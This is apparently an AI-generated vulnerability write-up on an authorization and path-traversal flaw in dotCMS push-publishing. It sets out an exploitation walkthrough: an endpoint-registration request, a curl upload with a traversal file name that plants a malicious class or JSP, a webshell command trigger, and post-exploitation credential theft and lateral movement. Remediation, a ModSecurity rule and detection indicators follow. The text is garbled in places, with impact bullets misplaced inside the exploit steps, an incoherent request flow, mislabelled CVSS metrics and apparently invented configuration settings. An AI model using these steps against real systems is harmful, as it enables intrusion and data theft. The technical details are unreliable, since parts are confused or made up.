CVE-2026-115523 — CWE-863
Improper authorization in the legacy push-publishing endpoint and environment management actions, combined with missing file name validation in the push-publish bundle receiver, in dotCMS versions from at least 4.1.0 up to 26.10.13-01 (25.07.10 LTS before v22) allows an authenticated back-end user with only publishing-queue or maintenance tool access, without administrator rights, to register a push-publishing endpoint with an authentication key of their choosing and use it to write files outside the bundle directory on the receiving server. This leads to remote code execution as the dotCMS service account. Fixed in 26.10.19-01 and later, and in 25.07.10 LTS v22. Creating or changing push-publishing endpoints and environments now requires an administrator or access to the Configuration tool, and the bundle receiver accepts only a plain bundle file name inside the bundles directory.
Improper authorization in the legacy push-publishing endpoint and environment management actions, combined with missing file name validation in the push-publish bundle receiver, in dotCMS versions from at least 4.1.0 up to 26.10.13-01 (25.07.10 LTS before v22) allows an authenticated back-end user with only publishing-queue or maintenance tool access, without administrator rights, to register a push-publishing endpoint with an authentication key of their choosing and use it to write files outside the bundle directory on the receiving server. This leads to remote code execution as the dotCMS service account. Fixed in 26.10.19-01 and later, and in 25.07.10 LTS v22. Creating or changing push-publishing endpoints and environments now requires an administrator or access to the Configuration tool, and the bundle receiver accepts only a plain bundle file name inside the bundles directory.
🎯 What is this vulnerability?
CVE‑2026‑115523 is an Improper Authorization (CWE‑863) issue in the legacy push‑publishing subsystem of dotCMS (versions 4.1.0 through 26.10.13‑01, including the LTS branch 25.07.10 up to v22).
Two independent flaws combine to give a low‑privileged, authenticated back‑end user (any user that can access the Publishing‑Queue UI or the Maintenance tool) the ability to:
1. Create or modify a push‑publishing endpoint and choose an arbitrary authentication key (a shared secret used by the remote “bundle receiver”).
The authorization check that should require an Administrator role (or access to the Configuration tool) is missing.
2. Upload a bundle to the remote endpoint where the receiver does not validate the supplied bundle file name. The receiver blindly concatenates the supplied name to the bundle directory path and writes the file to disk.
Because the bundle receiver runs under the dotCMS service account (a privileged OS user that can execute Java code and write to the application’s classpath), an attacker can cause the server to write an arbitrary file outside the intended bundles/ directory (e.g., into $DOTCMS_HOME/webapps/ROOT/WEB-INF/classes/ or any location writable by the service account). When the written file is a Java class, a JSP, or a script that the application later loads, remote code execution (RCE) is achieved with the privileges of the dotCMS service account.
Why the CVSS vector looks the way it does
| CVSS 4.0 metric | Meaning in this context |
|---|---|
| AV:N – Network | The attacker can exploit the flaw over the network (HTTP API). |
| AC:L – Low | No complex timing or race conditions; a single HTTP request suffices. |
| AT:N – No Attack Complexity | No prerequisite conditions beyond a low‑privileged authenticated account. |
| PR:L – Low | The attacker must be an authenticated user with *publishing‑queue* or *maintenance* rights, but not an admin. |
| UI:N – No User Interaction | The exploit is fully automated. |
| VC:H / VI:H / VA:H – High impact on Confidentiality, Integrity, Availability | Successful RCE can read/modify any data and stop the service. |
| SC:H / SI:H / SA:H – High impact on the underlying system (filesystem, process) | The attacker writes files anywhere the service account can, potentially compromising the host OS. |
| All other metrics are “X” (not defined) because they are not relevant for this vulnerability. |
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP examples use illustrative URIs because the exact endpoint paths are not disclosed in the public CVE text. Replace the placeholders ({host}, {port}, {envId}, etc.) with the values observed in your deployment.
1. Discovery & Reconnaissance
| Goal | How |
|---|---|
| Identify a dotCMS installation and its version | • Browse to the public site and look for the dotCMS footer or meta tag (<meta name="generator" content="dotCMS 26.10.13">).<br>• Query the public REST endpoint /api/system/info (if enabled) which returns JSON with dotcmsVersion.<br>• Use a tool such as Wappalyzer or BuiltWith that recognises dotCMS signatures. |
| Verify that the target has the *legacy push‑publishing* feature enabled | • Access the back‑office UI (normally at https://{host}/dotadmin). If you have a low‑privileged account, log in and navigate to Publishing → Push Publishing. Presence of “Endpoints” and “Environments” tabs indicates the vulnerable component is active. |
| Confirm you have a *publishing‑queue* or *maintenance* role | • In the UI, the “Publishing Queue” page is reachable. If you can view it, you already satisfy the PR:L requirement. |
2. Exploitation
2.1. Register a malicious push‑publishing endpoint
Illustrative HTTP request (POST to the endpoint‑management API).
POST /api/push/publishing/endpoints HTTP/1.1
Host: {host}
Authorization: Bearer {session‑token}
Content-Type: application/json
{
"name": "evil-endpoint",
"url": "http://{attacker‑host}:8080/receiver", // attacker‑controlled HTTP server
"authKey": "attacker‑chosen‑secret‑12345", // attacker‑chosen shared secret
"environmentId": "{envId}"
}Why this works:
The server only checks that the caller has any publishing‑related permission; it does not verify that the caller is an Administrator. Consequently, the attacker can create an endpoint that points to a server they control and pick any secret they like.
2.2. Deliver a malicious bundle
The attacker runs a simple HTTP server (e.g., python3 -m http.server 8080) that will receive the bundle. The bundle receiver expects a multipart/form‑data request containing a bundle file name and the bundle content. The vulnerable code concatenates the supplied name to the configured bundle directory without sanitisation.
Illustrative curl command that the attacker’s dotCMS instance will invoke (the request is automatically generated by dotCMS when it pushes a bundle to the endpoint).
curl -k -X POST "http://{attacker‑host}:8080/receiver" \
-H "Authorization: Bearer attacker‑chosen‑secret‑12345" \
-F "bundleFileName=../../../../webapps/ROOT/WEB-INF/classes/com/evil/EvilPayload.class" \
-F "bundleFile=@/tmp/EvilPayload.class"Explanation of the payload parts
| Part | Purpose |
|---|---|
bundleFileName | Path traversal (../../..) moves the write location outside the bundles/ directory into a location that the dotCMS classloader scans (WEB-INF/classes). |
bundleFile | A compiled Java class (or a JSP) that, when loaded, executes arbitrary commands. For a quick proof‑of‑concept, the class could implement javax.servlet.Servlet and write a webshell to the web root. |
Result: The vulnerable receiver writes the supplied file to the traversed location, effectively planting a malicious class/JSP on the server.
2.3. Trigger execution
If the attacker wrote a JSP to webapps/ROOT/evil.jsp, they can simply request it:
GET /evil.jsp?cmd=id HTTP/1.1
Host: {target‑host}If a Java class was placed in the classpath, the attacker can cause dotCMS to load it by:
- Adding the class name to a configuration property via the normal UI (if they have any write‑access), or
- Sending a second bundle that references the class (e.g., a “bundle action” that calls
Class.forName("com.evil.EvilPayload").newInstance()). - Full site takeover – An attacker can replace the public website with phishing pages or ransomware loaders.
- Data breach – Extraction of personal data (PII) stored in dotCMS, potentially violating GDPR, HIPAA, etc.
- Supply‑chain risk – If the compromised dotCMS instance serves as a headless CMS for other services (mobile apps, APIs), the attacker can inject malicious content into downstream applications.
- Persistence – The planted webshell survives application restarts and can be used for long‑term espionage.
Either way, the code runs with the dotCMS service account (often a system user with write access to the whole application directory and sometimes sudo rights).
3. Post‑exploitation
| Goal | Typical technique |
|---|---|
| Maintain persistence | Drop a webshell (e.g., shell.jsp) in the web root; the attacker can later execute arbitrary commands via ?cmd=. |
| Privilege escalation | If the service account is a member of sudo or can read /etc/shadow, the attacker can pivot to full OS root. |
| Data exfiltration | Use the webshell to read configuration files (dotmarketing-config.properties) that contain database credentials, then connect to the backend DB. |
| Lateral movement | With DB credentials, query the users table, extract API keys, or create new admin users via the dotCMS REST API (/api/user/create). |
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS |
|---|---|
| Confidentiality | High – An attacker can read any file readable by the service account, including DB credentials, private keys, and user data. |
| Integrity | High – The attacker can modify application code, configuration, or database entries, effectively taking full control of the CMS. |
| Availability | High – By writing a malicious servlet that crashes the JVM or by deleting critical files, the attacker can bring the site down. |
| System Impact (SC/SI/SA) | High – The vulnerability allows arbitrary file write outside the intended sandbox, leading to remote code execution on the host OS. |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch
| Affected versions | Fixed in |
|---|---|
| 4.1.0 → 26.10.13‑01 (including LTS 25.07.10 up to v22) | dotCMS 26.10.19‑01 and later, dotCMS 25.07.10 LTS v22 (or any newer release). |
Action: Upgrade every dotCMS node to the latest stable release (≥ 26.10.19‑01). Verify the upgrade path in the official release notes; apply database migrations if required.
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
| Restrict creation of push‑publishing endpoints to administrators | - In the back‑office UI, remove the *Publishing‑Queue* role from any non‑admin user.<br>- If the UI cannot be altered, edit the dotmarketing-config.properties (or the newer dotcms-config.properties) to set push.publishing.endpoint.creation.role=ADMIN. |
| Disable the legacy push‑publishing feature | Set push.publishing.enabled=false in the configuration file and restart the application. |
| Enforce strict filename validation on the receiver side | Add a ModSecurity rule that rejects any request where the bundleFileName parameter contains ../ or does not end with .zip (the expected bundle format). Example rule: |
# ModSecurity: block path‑traversal in bundleFileName
SecRule REQUEST_URI "@beginsWith /receiver" \
"id:400001,phase:2,deny,status:400,\
msg:'Path traversal in bundleFileName',\
t:none, \
chain"
SecRule ARGS:bundleFileName "@rx \.\./" "t:none,log"| Network segmentation | Place the push‑publishing receiver behind a firewall that only allows inbound connections from trusted dotCMS nodes (source IP whitelist). |
|---|---|
| Least‑privilege service account | Run the dotCMS process under a dedicated, non‑root OS user with write permissions only to the application directory. Remove sudo rights. |
| File‑system hardening | Mount the dotCMS directory with nosuid,nodev,noexec where possible, and enable fs.protected_regular=1 (Linux) to prevent arbitrary file creation outside allowed paths. |
3. Detection
| Indicator | Where to look |
|---|---|
Unexpected HTTP POST to /receiver (or custom endpoint) with a multipart field named bundleFileName containing ../ | Web server access logs (access.log). Example entry: <br>POST /receiver HTTP/1.1" 200 1234 "-" "curl/7.88.1" |
File creation events outside bundles/ directory owned by the dotCMS user | Host‑based IDS (e.g., OSSEC, auditd) – watch for IN_CREATE events on paths like /opt/dotcms/webapps/ROOT/WEB-INF/classes/ triggered by the dotCMS UID. |
| New Java class or JSP files appearing in the webapp directory | File integrity monitoring (Tripwire, AIDE) – alert on changes to *.class, *.jsp, *.groovy under WEB-INF/classes or webapps/ROOT. |
| Successful authentication to the push‑publishing API from an IP that is not a known dotCMS node | Application logs (dotcms.log) – look for PushPublishingEndpoint created entries with remoteAddress not in the whitelist. |
| Execution of suspicious commands via a webshell | Web server error logs (error.log) showing java.lang.Runtime.exec stack traces, or unusual outbound connections from the dotCMS host. |
⚠️ Urgency
Patch priority: Critical / Immediate.
bundleFileName via a WAF/ModSecurity rule. Failure to remediate quickly leaves the environment exposed to a remote code execution path that can be leveraged for full system compromise and data breach.
Prepared by a senior penetration tester and CVE analyst with 15 years of experience.
[🤖 CVE Professor AI Security Engine]